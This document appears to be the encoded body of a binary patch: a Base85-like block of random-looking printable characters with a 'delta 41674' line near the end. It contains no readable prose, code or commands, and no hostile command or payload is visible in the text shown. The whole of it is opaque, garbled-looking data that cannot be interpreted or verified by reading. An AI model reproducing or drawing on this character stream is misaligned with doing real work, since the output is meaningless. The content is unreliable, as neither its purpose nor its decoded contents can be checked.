z4vAy-_*iU=EOeX`oxwJ9APrU4ugBNHw`5+_>WUo4ByUN$ASPg2!}zpJM*3Fdc0V8B zNFBlml)VrjVbJPG{w74;lV~4lb5*rk3hUkMdL`!i$tn$`3*OZ&yEgILP#95_g9*a#chR)lOc{! zQdOuLb?h75bt*~!OZ|%B=`5_Xp7iB6*;l!tY8P6oBCyw@45cn%VS|^VG_rH0%@P*^ z!meCb0p}2;iby7DzO8eXRz_zrF$ZRy@uWG*4I|W4Q%x1F<_a$5i@KJE#C3cytxE!C ztcBIy-BZnf8MFW^YqYiiz$^^o&EoySK)w#{8aJ}cK)Ny|bR1%?s@)R7q~aMwgQ?_g zuo46$i2WyE_M{Z^tyZBiJqT8WWU8T{?s@J4s>DcL zWu~o4XOo!E_QQ#(;!a(~|2TLJH_zXiHRPU5lPvw-U`K-yke`!u3dD;t(NNM-fd2#g ze{yk~sdODr&CZu(Pa(WV2p~w3Hv$&Ly82poAg*0nBxN$^l9$y}Bu%&+%^FE1=JN&w zdh1z#s!!_nS>G>f`iTY|^YG{Eer=rk{6QLSb^%&JKK=pvr5UijTfbJ62Rv;9Q((3S zPyKGt;OX(%2`b5m-v+U9v=3SD^IXNH+>OCi`BpE@?@pjPAgTRK}5mx+DqcgR|Ok?Pe@0I{;Co6`S=4)Ku(!*BWR+c^6`Q9 z)7nqxr?sC@qji0MeD~@8pWWw9w)pMY;@y!g59>p{$Mm5Q5}ydEKQ>iL=$82)o zeoe#yiRc6WOax%vVCT;S@Ydh<5eA|vfNGvhp|`Az7N)@fO5GwtJN8wfj|o$Cz;9GW z;4IKxA=t{5J!MO%}sxO#nN$%X^&*vhS?UJ2q9|)l*pb7`vk${J%q0 zjBT4ni7WhC)p1zPW5czrgsEv`P?(NeBr!%PRUE*33CG6dzowgL5nQ{PUU*Fl1~nEl_I-Z=WT!Pc3t98`t<3j zB;51Ak{B1sxYc0l5tl<$Xh3}5$6cdYQYJl{yS$sB?dn5x<1oe5sAsdFYgkq#h}QHf z!<8~edOV-3apiudf;)%c#y#eDXSjMcf>7(7Ay8I|1-uN?R58_#M&7Ci64&`gvCzCI zUD1*VSIeZh)87RW=gWV5kt`v0uvVFaDA%FXnf5cd%ch)o%tY+2=epXa#auB`*;W2C zGUnl;#6^8x7?nGGZ54bNcQoXnYm6=?*%AriVu2Ln09Y!L+ZE(txw{ijs20Lvnp8Ny z{_ut%dDM`VVfV^uW+NWJSRW|5kIn-#jgGKL+7c2nGH^vpo$Y_-P0fdHlh4n{?Rwi0 z$p!JGyPe!N=iImeCUpdS9RY|JPX}C-Vd8j0n z<$YGP)kpv(y)lgFd;v#t;y)^zR}Z1ewGvIxi3?-cf-Rm;1ZzZItgqg`0p@@M9y-LO zEk^i&MnMAt z#WKuEzQz@Mh2z1js`5dMPQl}4Q{yk4ClF#zr=i?#$ zH3rtO8nOeF^@(z!Jt~Qy46I{tT^XZndjp1=S!JV!5Hx?s-XI&=RY7K{s1DR557h}u zqsP9(kz@FbHYSJ!uWD^Kgpkh-7;KqwGn);T%K-~MqllaHw;=fB(tIji^K^=2BYQ8EK&(b&g0Q!zjPR?K8!sYeIkPtuA%;3jhN1#A~r>{oHv(6r!=f|^{UkuwsT|=mCXiU=Dgz{EFwmP9hJTMqD%yAu)uy}k@W~(AjCRs5B z_JpKK1w5_Cd(ni`XowZ?WM$GCx9tStP~pK3tF3>r2GOqrr;6kM7MB8Ml@`@At4r~I zzv>d-p6&db z*e9vHOkr<}4QZCfpx`!sBUj_a)$!30Fb^j@^8Inhg`C8bXhK6*Mj`hjMiV9>aVT}A zD+7OEowSQx74zZ2PF@1<(@t&|R3v2%Jtml#&}hPau9QY1iV{a8RQe%hlL#zIC=Xff zo^UY*zgDxQI?KVuOSdN6X8BM##(bvn(7`|2sysH{8Bb{JNQcD|1acaA!a4ZKpd-Eo zbRNI9RPj0R5aEpYly6>J)Ty6a*n0+|n-_nXde}UyTlx;iJZ0qeQ>N`D1AynTop%R_ zZ53%7R_vV&KAfxOHjt`u(x>Mfb*v1FVLY?`}Re1pPSCW2T$I^)g!- zY4ur~T@P!+J03&!m5(Hc^-84W80su}ENrW3Z?*>;MswG1zb}j%O$!g*;iztJ%e8+x z>24RBO>i_Cx!5ru2&TODZ;AkT`nX50^m;Qr&D*Mpp*VmEN6 z>3v4e3(tPpbg=JK#sQj6i==6O0|L3)VvKZ%5Z|ZwWs*4DHNCI+0rzu0RX5EZ^h5Z6 z`c}rO+0mu07%n+^cWXKNQw~czgc#)U0UyI#T#$jvW?o{Z#6; ztc*L{&<~M8Rip;e%vY({vvIyfv(wfh&MxB2Ff`%qG3T19&b98cLVQmU!Ze+9P;v5i{ zKq&z#lP&WRf6bENcxanAFHIVER)7In5Xcg336m&Aq~iMD?2Pl(o#4-*DU0Qfwt*TrRMqptcA81 zd>Xuq2IkDhT8Kj5_O)mwIUE!^o))FrjqahL5rnROf6d}G8Qwf%hi1)*E}V3Xa_paS6k(f z<;l<<>57Q)Cf^a{Oc7DJM#I3>o1uaAwu|QJwb;Z%tgp!qT5N}bqr+QW*VdzK$FUJn zWAUepe>-~0IL#T)X~Odgc&NPGvDCR zr+0u|#yk;`#S?eI@aVzgW=;5bZ!BI~A+)ar zK;*lE$iPsk(a6&bdxU(;k%T`D4NvrN%QKO;uo;y7z9{1w)mwRDv~oSjIIqX1i9;J< zKR_5^z}nbk9o{UrV3?5LT~7I3Lsku88LG4TmpnZb(4Ui-AKC|!?RV_BT`@!CVjJ?a zf1x%iE#pCAybfR}gzcgbYSAHX5JI<)y?Ew&lV#(w9DCNSq_{cz2$5%3YRie3w6)yi zD|IO5P#A4f2*d5hzAFZgmj!tvH=8);(u(D>0%o#NNRm`EWnYz2^eZ^Noz2eP%Y&=y zNL`&q(Og;$xo;uY@gAWo2~UnA33{qLe-OS_d|7!F1F#Ur6z%KD_OudFJLIm>-~eD7 zj{~dEAifX|2S{MfztbVXto@*#@sx8+%CfMnK)Rc(`yRn@FT9T6oQFuggwuP7x# z9;k|t6yQ=ZvIFmp#^06u>|;;0SzS>^WcNj?S0B{y%f+@Vk=(d1yQ7#BmDjAvf8R(B z+mk2fZSlwusIt0aJB0k??gWy%jQZNVAk7156!Y6UPGC&2ZraF3!Bb7Imo4ROSGn$N zemXZjfVhU;!WDS%7WQg{yI%`oE!wPNIW^`WjOwTq>YLs%R;U;~Z@sDsT`Vr3u^|f9 z@~LH&-qoZLUKVmx7GnS4p`f4Ue>Y=ZZAe2>FS^ko@O!`}9;W;>JV#-!9p2sw) zQuy#yuq12gAJ2Y7_W3!CvJq`-qR^at=4QsrVsG4(_)o;ebh50{?X-_?vYd7@ug0t` zxKP;f#9a2nJH?UkW!0plIRy9tK6nA$OeZ{@;)w}=g(bec76h$%JXsbwe`ADmd0>J^ zFO%5?e&Mcr-Ncknt*1v2WlQ4{{%w#gkTu)MhK>C&^l@lS%zD~av)w0(zgrQVABy;j zB7SYT|09ZsUsOcrha$eJh@E0x5W41>a>hRXcJ*}sp%nW6e<^goPYUrDQt1CnQuxI` z{>RbaPs;?`tqNssWOH**{m#Q9=}K0_w(ClKzwy| z{Ua`1zoDI%UWdAB zkj(1N?0*RG;p_!q`+2^{*G0Z}qJ0o8aemgsNhVAnwwcYstxex8`bzfNa(eCN<&Eh9 zi95A>wFM`7nB(TBTxK}B>$AGctLaTF6Iv?k6o@}`U16e(5nbOlqPn|#4Hp}+aD}SE zxetwK)hUZPghI_9JQj|#`E7bre-f=or$4Mo!G9Z&eE?nK9(M-`-Zp(Ls+G)Uh=TiH z<~n1H=j&#;QDr~zS(=$Fi#=}(@W_SQxV%`@>H2bv<;CLi?w8jaFY620&4A^Fxfmyx z@uCn&zNp(&v`#R+=5owtk0SK>?JaP8drR}arI^V({8qK3 z%#-B%Bmt6>3H&Jw3A9nH0KOp$97^t!J^U^Mko9AeZu~9*-jkjDCjm2)#r%>1oRe7n ze1A|61d`fd z;Wkl5O6(5UqHU2s#+(Jo#PauJZsX}!N@!ekG$pAj9FI83xGb~_lU#gPw`l-kt$+FhDg!(gYfx)_b+H~Q{A}YVJAw54b6hq9 zubP4{rpxC03B`^4;Szsd>pH*zwjR_;qgf^J7!NlmWZXhMKilgMj(rdN1`d}J1RmT{ z0GC9s*Z(lnH*1+G-1TPL|3+TEJSa4pwtfKWJQe9s(`=O=3LaI_Fz z3PltTY?E(giA~e3z^L|i#|n9RfMZPiepSOb4wjP5Vlg=2s|5yDkR&mrg=$?)0D(ZJt!<30l zqk~JwsMKYVq?Y?ojRmqx!LEvoJ9vtpC7t36fePtc=NJ5Q{gmGtYl2lCt+f?3n zNjAxEP4YP#Z_4AA%n=-8l`IU1OG2*-a}cyFA7#3Nyrz-aMkl8ds!XEoeQyT$3_%=x zAqaojSA+1u-H&Qd>H^8z1d{PGzO(81mfqwmLA%+jR(YU$Rrl5#9)M76xjtGoJ&1subXaQ=PNylBh>?W%Ev&NLz1LEwx=Rb_5HH2 zDr2_;@(hX6P#q8emK_kxwNng^ZWQ#5TeW{GG904Ig~64%A(9ILUF%}4r^$q8>H(Qd z*9S}>)(Et0#FmwDSs8^g_(pe%eAgU4jWSR;HK0w0;m|JDh2*KRE0?Ru5?l_;u29qQ z+payHo9jCosA;J|Y3yjg2)5s=FH>_5ZnSM3Acem20aLaxh>5u-t1SdCRttllPxXHo z8H!rWn!{~^pFw_HB$px*Ydw+kNP)rYIOQ@{ROVdkr0z~48EH#9Tv^BSWT~xgHWB=` z_{DUe>X$7sGe2<+Uo@=q5*I`m!B>??q(Waeq18ok1y&@I?=`RLA-GnOb0aOKtdb6v*r>K;?u{G&01N{dd6(fx0TZ_!9|1-y0X3IF zLjfwcj!FUc1b+#PL7Us~)>aF?By|BEY^ykdzQ0LGo-{zij-u*W+@e?TrJkc}01QQ| zN;pv+rE8_v-`F^ zG8h=qG)2wy@#2x z?@Ol@uv(=uot}C#<{OGL+nV!+z6$b>)7hygY{cJ?{yK<0@wu$X>%OBLPlqYNSNzs@ z_l|p`e$J2h@A0|xzGGIg6v<}`ZTugxZ{Hf|Fp_%Ps<%HOeuhE2Im4wi2$c}!aSyuvCC)7>0 zQFosXWDHUU-5K^yw60mR1Z>}2$o+5Y!EF<()B`WIM9;m+mgsg?Zz(T+&_%XpU3_sV{8h0Pj+qx0zUv5(cM@MDFJ1UVeY&k9ce|BUO4fCgufZbIb#^y;I#@rxv0WyB zlt|fj)JD*{&pp3~->qs%X1@0!Q<_EI6Ly7r;`UFAQZ@%h`Ndo*5+x8DuD@*&4wJ+OMu1X)uiBVi`UZ0^B?z_%6*(r{w}`nwDm%HY z>Y^>TB`mW^mHor={Gm*_{H%MOmkxIB>%9ALK%B97kK_K7=enx!!wpXb|Mf8k3?KI# zoms(0`hTd+(DeOp4we=)!DR+IV8HaYhicALqhY}@v9 zWwc|G!?h(+7W5!VIRW{CgJ}t}l-}~yIvIX8Pw!QnexN>a?>uVvoVK$CcN(=0HTZwh zHa?ovA!8j(O3Y%tY5d|(I&66sKHt&hG|@KAYV0(t&%*Vzz({KiU*)Natd|zDdonde zpDwHOVVwBzXnFU!3!TADZ(px`Zr-?eo=CE${xnA$(Rus!T-QlT+gUrqap|q{KE-uK z=BkGu_{E%W6OT#g`$iS7*cTbu-@C44j%0m3e=zf#{KKokjrF;h4wJUm;oY#Y` zvaL0TDMn8M{0-fd0BAvBUmNsn~6ZX|F^GC9I@3a_?LxwE%&P3oE$sB66}dxkQubHLJp|vkC53mz1Y$GGTn*xGKR--gRCE?ORUMLGAK<{$i@Lsm1n^ zv-j50ha^56LUX+Apo(tdk8>Kq)qiVM9=XhH^;5ym!sgjqCjl;jTb+_$pdiLF_ z@5hF=*h81jT^0;7WM;JQ+^tM8eXbmM%X+WS;JDoF89PqQoGz(eO4}$K(;PEdYKrX^ zt0$5deLE+43CpM|F4~qLnq53|r*c7m@-s!By7O^!OPdnDy6zLxy}e&dq}chx$paGd zc@ZU&R#ivCU5wpw2V14{FBd)>@Tk=}Y|+VKOCDSC@DmFVT6{EGaee|n&-)HSSWIKyJd#*zI z`;wj<0seO*|s4&Xm6V$uv`9@=M??kbP7k9l|1rlbwd9*6NEjhy` zo9nXHM_YdHnce+gx)Pk@RF!-3?%%zxe(bAB=*ODAy414b6`Ln@6jewxeu|fIHQxGQ zkHIw$r4KPlLj_^t!5<|ozb!HsifZF3I`T~;WyV&FzbNE1cUVnr=Z4l`_dL^}%J);u zHuntL+>MdlGh7jJC)f3Eki*fv4jXsx%^A1rtE=I_De5k_9y5o##gZbd#4@G_dof>ayHRB`Z3q8kDF50hEVS`ABWSxp(zlU+fAB zus>5}oHM=ahNhMOQ)TDA@>$xe|8q3UD`+_T>dkINCoN89h_U}C_d6bIU8|4z?Cy_I z?oat(vHz;3<&?pys2;zD0cU?LpYK8j!5_B%0`l3;d>i=$HN&ja4oq#>+q$27dJW$k za&J|Yg2v|Wt`+)zQg*9lHS!$vw)uM`$LsEKsxq#v=eL)LjcBvaKAoy>X{6(wV6)Cu z%r{m1fwccI^8!^8V8$tahO-y)lIUC{ki&PhJsRzbe{kSUkmLwtQ&aN#An zqw{~5`s@vTxw|}Pl1lFM$xmC8E{ERsX5M~D`Y4`}Oj=XgNqKfWin4H0X{t=)k;E^{ z63U5HnR3Bpp=(!M;400U^q=e4#8e$>oBBz&wG$tUgxh~Ev>iX!=Jxo)*~Oh7n^rvV zx;fW7`^!4JS+5UM;#^mC#!1SBZ*FQ)785t|E|RN>WpT|S_Y3ax{2qDH$b(b6`pMq< z*lTTT$V4UKH^Wu(XYaE34%lr=*sUujea`2wE2U`9e^R{GEm$ZZQ3g_gQq? z)_A!9OQ{Jvnx+}NiBP&p9FQzx8S#mTd~!axFTP?z8aeUIPTSNmA(b>s*|QlH0s^I6 z&pQuxIOL@+D^v8{tsrIfsJMG|Oz4nyRpPd$=Vx87NR%50mr1RCHJEc_)he2%y@Z>m zn^!sfwLcTaY&p;|Vfhg^A(d+s8SV1diRID*_6dgfJp0udvz|X(l>4wNJ0Q*HHQ&Ph z=1*51Ao8yp=#yIvJQqIcnxST6NI%(q%^~r#agW{5+UJqBYt-r#a?5%(bAm-`$meoQ zlX_wK-Eu+SH}+?(x;t3@IEIiJNKSutCcrUv!#Sr(6Bc~$y)-^Fl9TFI>7A_-|5CNg zdX7@DyKG?g@Yx!h3&T!R9o7};@(=Fpey47GtL@V!Eo$qRTjbHqT@$+}nrAJEj#&IT z@wvH5M#dh8^QF+STEIfH$QXVsX$h-P1DTjd5Wuw^S*T|roQ%#bx)$w7DpAQR~8*~H2r4j-IOf!p}9WG-bi8nMG?|} z&v0{1<+Og4GHbEZTgYjlhB2z@oYkV^u5DNmurJKEYT&B;^^hG3fxBd~mgloci{qSY ztngl!?VD;&b$zvZ^MczLGthK!b;{mn)04-1s`SY_lNrgLpGYnkis&ECaZY;NB$#kM z_H}5}^^+$(=CKx@ZBsZs{YP4q_4;qcoR`H*6Jv8V8oXEaotF^3>Faqhl+u~e9-yw2 z|6P4;OJvXSudyl}SG}kU{hd}@WlHKEx2(FSV;LgN4N2+9T66mEyc~4aY2N8$&GJ1 zdDz*1AfZpEHSD?@t-;?{Y}nPYMx=O+M317)xPm7AXCGh59qD^rMKlTphxklh5YW8l z?WB|E9$b=Xp0e`?H?up+B3R_bV}0E_zSGB?@eOei-LES5zEr*>bBf7$ZuHjhPP4}H zg_LUPM>S4?2|-PL9PQ4yoXW)4lkZ5H%xm-_*FTgh_L!g9B1a77WKBry{ibqp?vyPR z`rf_g9_n5_Z#-MX-$czku8z6%gUZV<<;Nm6^>y#qs`_E^qK9WaDvK?H%xiS7?p+Y& zqW-oj_*Bn?~HzkU6^UhrX8t)%G6ckxL z-6Z>A;cMA=yI+XA$b+wz$w&KHGaw(>`0}2}3?Fx%A$(WaRnpMvkkPbBxjD=7gl)gI zxyjW?Z(UoF%e3Dxo0I(Gdw1v|x8kLCQqwZE+T-H;qDo`htM0t0GB=qX&%e7_V)?9O z)ppZ+SLlw@Z$(xoPkZ;HZGHOM_YuTOZ31F15U}&0Op-29INY3cApoq;8vbs;|EA*iG@LbvtZkbry-1kb7gA;Z=P5g zp0)h`BD=le89Kxk!PHZmEzj=TKgX?-%_iYZtWdtWaG~O+&BDzOE;*eXW?weG^F7mU zj$Cfz!}z?@AJ4lx`j^a^qnu#6Em1%vdR6Sf`!y*((i9Hg_#YR#4)`V{eaLP+*YA<| z_{=8_x76m4JFCy?*qq&Fbh?PTN~XH0-FAO?uwC7%9);w|?K{_1FD_oI@aSmX?kj!m z8Xrjd4YPDI+*5a^v7YW=FimmOmh%mfb(@|Yrwh-lSf4L{x!zUr=9z>3T9=ASWVGH- z4zBn#UNdWm={YOY zkEWTcaUxf?#qN=t?!@hnJnBn`a=BnJpGn+?v**J_k`2b+8j*WH*={NaGLN8=II zEqSx|y7u)`*3I&GVDq`Ow*APFmND<^iYqkik{z8MxowErG&~fxc>npNii!_A&nBzW zzbvSD)ny{LtzN6TEBoaNS*p2y!?^{Ds)h$=F4$t3U6%KnT&4fs_)g0nw^!2kcBT)r z+2RaBusNxkht0jrW&1rO>@I@qlj`S^+m+9Yb-;PNXC^kAFcOW>|CO&PW zcUz>8WsTp`$V)>Afqj2|p`Aas)dPV#pT&9V*6X+uQ}hKACApU2sGiT~H9?C*2g zO5M8L@QuB!!OLt5JF>3g!bwF>+WqtuGaF*ua#CtZ=6PlE{K2O5JddjintZ~~A7quu z9O?NQbaZ*#7g?`o4g4#E^q(H7+)| zQILA<-Z`^HpTFOI^0+*Hm2cpOu1-o+137lWRf9*)eqJkdV)CCGHYHd}z6o)d@OWNc zU5#(M?FRFOcZ_rG$pUqu-mi{Kx{j$@mugIwLD@!$s7n`=+#v3M?5k_|^?X^#x%-xh z8}vNRPbuHtyJGg&O{a{WR%US|o-FH)@RG^(*;jOEPwIs?FQb%SMjb3;n}6E8ey~CF z0`on#9xru!``+@NJC0-dScki!yseU?gMNhxWWl@pr zZq@OR7OQ6$kG;&8EVN*c-1tLMEj{6W@^c5%mtTqAY#YYP(iAG3E4TjYMOIT{S?s31 zfD`UsWi2I+EsTKbbK%bT5HtFn^6c`vEJyc1VBxgOHnK;k?agX1}jEcbPRw;t4?(L71_SK6>k((_hUsxek z61j5P*EPup6fT7GsWUVEjz6h&7t%a=KOCY|C4c`#Jh&wuMvm&2|f} zJLoM>_P@yc%sRMyP+(7C@-05m^><=lYbNp0BN`)!4PW&ZUEHjxHLygIze7ikUra<< z+;3gNJNs$PEBv3&PHSGcAvjjg+2U(b&M}$S*UOg_F55EqV&ck<)wr9>eK!xKmS0g7UlW~>q4mY* zM&<=WZ6y&sjcuO;#P=Ll6n4MT$meGFB)M5FRr|BK$%U)+p5fKkIu_-t-G7yOC;72O z=Mv9x0lF258&5yo_$54{I(F}2v+?#@`CcZIwCbYWzPVYZV}!=P>^@FE%P({JdE%_9 zj4uc40}pjAdjGH^r~7#AWJTfm{L%f#O15uWzAQBGQJ|eylUl&}82il|FU!3A#K%96 zP)p zCRhD(pqtWu*Piku()s$vl9g#Jm9ys#Nx84$nqA$u+C5mL`M?yb&bu|KFEY1%O84IS zFtcpgzH{ys5tkdjtLm7~QE0UFzrST^#$_{|!HPqxW%(6~t9o^o9ws*4nj5F+vh#?C z6EPrq+f;zs6Op;M;P_@=t#yvqR@k|8s0@Cd(YW`CTyR=ZhhBB|y6YG`1S z-Wcgt36Xi5jmEX+geIMvVp;29{lxagu`^yS=}%ryKGIqr{A`YbLSsPg{^B6*9Yrd0 z3(_xcX&&5j!Q#IA@hf8s{l`jYSDorB;b{50&*oOuUTl2Mc{6-J$TuWJTeXb2Zf>0S zRoQ)07JMYtg0DxfYci9w>`fWE@Qu{CT6H7Kcc;+AyPNWx6@xfFY`r4|vLCW8lw0eJ zDRUvCYTR#&&%6IM;TX5hYL&U7i)C1^NO#wovk4O;8e+(_p6879zN>E>-E_R}>dIJ^ zZ%Q9^(&n!XH9r=4gkSt|^qKfPq4L5-U#mCfyp&&S6(w`yGV9A8#{2x#uODvfOf(_& zg0C31>5sR~Yl-Q5eZ4xZ)0|ej>sq>Y`6Ao7Z|8ZR&`|5$CFysdfn3o1ZMwqyv$;?9 ztl4e*>Zs@j{_Ee%^700ivnqDzN;gOjNF*vk}${YJB4SWWAPclFt-xxu+u?d!+L2b)jeRzUl?XI~wJ# zEeSIk>tyy=`} zGTO+dlw|iw4qjW;s9l%Tx3=ckMa$rKO*V@z?KC~Fexp%rbJ_f{TLy&By;SiXe|l{% z<*^fg{H~{Ew}KZbSwB6zeusp^{gY*nQ&&t%>?pmi);Cnf^t<@hv|iG|YWAKu!kOTt zN8gd!H*2Bpw%1|SCs+9Isky(nVt)LXjV~wJs9yeWmKHxbBkaZTf~D&0-KfSz6TAz%9DQCo@q;;8j$+z5w^xH9j};(zo;- zF>6m)c;8oBl0Zm3X+M9zeRIJ0w|?2$Nr&oQD_CbY#K~$M(z<_CrnhUJ`Kg5#)wO1p z8ubjRBKqp&y1DjEIZ~PVHNILC9tz(}7IYR}b8Nxmt6omzOzXF8a-PmfPRa(=o^RNn zKIbf!xl{aZ=+Mj08(zmbmz;@EJ|;MubTBfVS{6uqHt<=S{VqjDz2?}J!K8qpdrS0N z!`?}+cG)@hs_WSpw-<-0ixdZA%e$kN&{#<#TL`JjUC!+iEy{Y1-<`vbJ~IlQa%%Y9 zyJh5^Pn?191WqSAa^BIBW)Um!X7mw@7hHE8GO<-juM6U zN6Ak~koW&I28T&!aX(Dr*Oq4D-xy2=S5JVSBSWPzu!#hV!`;jK$fo>{j}#`iRe-lD z6`M$>a=2Q8Fp)*2VIOI9Dwq8Ek;%qBQVBY@n)i`SBe0JYDw8{12tIP~W!W4G!S(<7 z5nqn+2PS3G>#aW1F&>3?|q4=SLcLQ8t6g;a=u_WYe*WvI#bg z`-At9&ZMAsVbeJbuDJ+&r2UV(&?#(g%FmAk#&|Z3M&*8hk5lLbep)JbzZkzH*FuzE zRfYg9;Hkhry1=FoEbd-Wn9O0((T^Z)7ZI4;Bg#K#Dvd(Jq{CtpAXhPvIUC!V#bPnI zyq5*jznHI1+)YH`s8hB)=5ze^jN|_`(F& zQj#ZENsud>!oozrq=Oo3Nr8C~6axQB<50LH?<<{xGm=SVaJbb{aB3;}#|A%!j2pXMhF2g(S|CmV!fJyoJk%}Le#slD=A6fWusSFV8 zR9KeI#I%$_VKTXUc^?TXCKrOkW^r4m^3Nv`iBl*{HX9jEp|B`Sgdaeop%4Nz0>wF? zF;Kw+jr9j0$UnXYh=8=CMG0<-f*L)~b>RnO)Bndf@PF8PsCke8acmYUZJ=>b#Gp{X zb6^W{Xl#V@Fpj`E!(mbosDN=SCW}N*$l;)-0Nxz7M#h0JVxZijf?6U91alcIRCH9z z2sDwuT|EqBbFj%U8$C6Zia8w$KpqR9%b=s&q7oqa(HEHjli5rPH%X3Pg~a4arLqX* z05p&)rq2ME7$(waG!~-VG%CSCF^ac8e(yVi1ym**zX_9r--Ja)V<(7wX}BV@2nNPM z7AiX6KNUg|?8Yn(eiJw!dOI4GMMuq)M&+P^6a^Fs4S^_NKy)^W1ym{r112h)hQTR~ z1|W;D8nhpc*eNs`K}VGphSC1e{$c?QKn=Scoyx{<$H0(|3UMBG7&-+FRH;k`9n~$8 z3Xs7-HipQ6g}QhO4FYQvb|JvPL`SF6&>)yX2NOd@OsBHIv|UEoHf+MdY@5ae<3?Fc z2iBl82*?l`;5EUOn87bef}$Y9A?M+s#z&_xF&m)4--?YI8qCFfA04tg^q3Iw6F+I7 z=6{_oonWF2r_c#3TBgt;n!p&&z*UjXATZsg1GM}*mj`pOAO~X_U@6WSCV|G-6gq?` zh?Y>m|6|^s4xS1d$7GTi6hQQZ85*6D|ehQEO1aJmbB!b3Zp%xBq3(Y?%03w)-2~Y*} z&@lJ6V;#{qg2Cay{YM)b!C+y*7C}&O8iS3750H{V6oszG0=P$MOfZRGv=KK$ut1>b zKn@$tf*`K}yg|o-2SDXca3GN#Jr3l~M$#AHKLa!ql@o(TU<${ea zjMb2HpxGXP2N)0PW*9UeqYDxcB%m}Vz&J*uU~Yy13W6PwN&U-J<3AxMgAEZ7x*%8` z#u*6OM`gShBdLi8_| zGN~L)fRG(yD$4{gMfu1CKa6T3%the~w23o{JwLIO$>3mqoymak201m<@=*1pFc~1D_1=ir$1p=lqFu|N37RlY*st zECv(HDWSZB=?s7-g+xxxGi5ASU;$pEvI9-P0#nc!ET?1v5xWQ^QNQ;c!BQ57h5Xq}Ms*<$v|;jo$5#^5(lF>zRU)&X--4g&JfPz46s zPp`=RGM8VB$$QGtTO5HAV9 zX&?#YFks{aYS2_DUy*3o4n+9pl(56lFt)er!$4+$*3hBmgWEPR26e754r~!!kU>Mc5YXLbqOlUtIDf_T#|cw`Gib>fXn@e@ zCIDO*w^-op(Qy!3A|iq7LTPFAI1-2)G<|>s6AIv?2Lg?O)|7w-E285#6ns5!q!{}- zyZ~>s69)7K=^+c!c{wyjgHj<%qXHOWG%TT`(g7I$?(y3R1CfOx7aam|l>Ky2b%cdb zMurjwx-pa)(HqmDp^2_Xf`37yIVz+)sJ8|h1I++{21N*TV>)Ur$*#!m?XdVPKCYtjA4SQ_>o)=se!d2+B|C{jtls~VxhG`~2!D_?cJE13mE(rRI za)yBV2u7pfVHiOpX=ri;Eik}abQ7o%qOyY=3S%olr(t3uz;dwl=!zc!biJ zcsvgsH4IuA(3?e-kXM}=%^8UQpmTsZ9jNMK00J>Eru|@u_@SZjF?ti&0|FIPXBZqn zJ){T&kBY$H(Hleli=rN+8<@9)?lxw|z$~IYyC<|*NBSZD^VFU%q!wuN%W zPyaIl!O*e8ayIBPVgV)eRIoSzFcdAiQkl?qzz)s)Cu;f=|3M6a%Z>%!1Z6cSCdPi& z|2Q<%$}rJE+XtnsfTwx*g3$Is6%I-;7|ug|`>!JX6%&Wby{!wK;{S1RUP%hQ50r6G zD}~qzvwC0;R@;HzI_7L40sRG4|2kH9X@S)@Snz5DwNfa#V}%tcp?kSu7#q8wy_3E(t3iJy?bdNN?%P%=hD0@Zc2 z=tyNDVFSMI4}^n-n(zV-Q%~p#jDF6+ zbF82qSbhR^eY6D$i7)ot3TOm|eGo=tF$@cefT%%2KY@lmNCMTuo_hifPJ^%?pcE^> zz$-7zn&E9arqqxm{IRAH#|qtuKi>9lBnMp!EZqcGhTWL=UJ<<=gk4yi1Pux#Y5>Oy z0UuU2Vnc9;Vj3V2R#;&}Mus{}HZ+-0SOQ;*R=KIr#iO7PlAxXjMHrOT;1^IpWHXs) zM-1j-y>=**VebopM*Cak`RiB#H!;+Ogba&aA^OC$nhlja?0`_9Lt`Q+OrbbK@+61L zor72MAkN1;I&VF6V<;YABH>UNh}@yQ30*u6>R35YSVT1)-i2Uj2F1d^Ed1kAIMCTf zb%q0Qi*f;8ppPVJe;g~kf5T!@4iql1!_e^@2og|?)zGFvSxtpUvlwEM9Ka70TA}%f zDHktuK+%x{O)ZT5&=tqH06j&F3lMUEmHZ5B{@Oc86GK8?5|14adXLy9_-kqCef#{m$)P7Owj0u3Am?d8K;Gdv;Vz|U7OaZ1CLF&4rPBQ~4xUa_IC z&fr%?1RAaa4V=no$bcFG{#yWO`k?U&jKlIRp#8?ae_|8peA3YBGtjUEp9UQ$6zG74 zmCGRNhON;Q7>B)01R8`?=v+v8P^*GR zpmY?2fCf+Z(aG>b9_%n|FkNgMOh##-I=>Dx5}QCH0xIO#K9MfV%Y-tRmg?@9mpF8FQZWwLRyBVLePE(zlY9+S8?d&c=dMjUuEFw z0fnJ!3nkpxPB^<^#6QljhYj* z%}^f&Zb?5A)1 zoAkqE@WG=`2%rpIS&W8t6JQ+tcnTZG!b}mul@ag#J2rvKVSN#x{f|wcGKOse9SiJ$ zP}#x61eS=7BcVBjhH}vH#C|pcO*kxS0~+?@7~Zc{&@u;4N+UP^qYG^4HX*SI41{0% zqAY}`CaAqb_X=~-;D#_0gZvteVIaHyw|4g{HUXW%0%Tqv8S@A5t5l5Dbm&B&Y=yg_ zp&|U{7mH_Ubdu*RksH$?bwI%a0z=H{K#3JYLU1`4`ys@|TrUj!SM71g?Wn1>lPx9N_aFnCVm3uVqAbi3{LwWbMaJ& zS8v2#PXQ7BgNg+D2dFwhB8nXbeg%xd5_l*qKm!B+jfejP((pO}eP#tuaQ??HiJ%&S zS~vuOXlDi9s9^PGpux+@e=i68=XDRz$^y_J^8I(<&vEc05sZc>P=G)f7vSg9Sd0q| z05D{9K?tu=_Cv=6?I*)y8?4j`G4sle{)fEg3a@i0Ry20H;koS6tK^L4ody%=Z;Qs-r CS}FSg delta 41674 zcmV(?K-a&^uMzjI5wOt{0XdUV^C^E?OLN;c5WeeI@K$Q3Lh&TX-eSjg)5%O-TR9~? zz!EI6kw_V&()izZL4b-y(vqdvow(A)0BLX+_`bzH0O4Q~;NYT%eS0$O{c=uZKrxCU zDuUr{AZZ}EK$6p7I1WCB#ocVK7X1OkNw_Su`Khq|IGn5gfP~pn&H8^0fA4>t4SRPz z0zz>>DjAF-LRc`G_v||!#Q{Yz6M@meZSPO7Sp*46A{y0-NsM?boZ_24jl=s&xRYuo zUi{TXFZeiMjE5(>PeM~oMAf}<4ijW7e5>Yqrd|IHa_t53^4#)43dIz&@Qc-@O_AoA z8why(?0TfILQD6M-@5i%FG_zsw;$c~2i2$UJ;gY-8enPhgQekMz#l4(BI3pLSg`7FH6Em)?pw3#X`fko*azc_yekVBAybdDI0 zsE3dPDGtC>posw~8X6py#Ut|q8DyOW8Y9WP5YitcRD|z91`SJNp`_t>IV!CYtStei zfT(2fP<==rRkvo(0H{Q;++YA!Ev58Y5$GkD((p>(EmNa`c?->I5i8h45?NXV#!qZ` 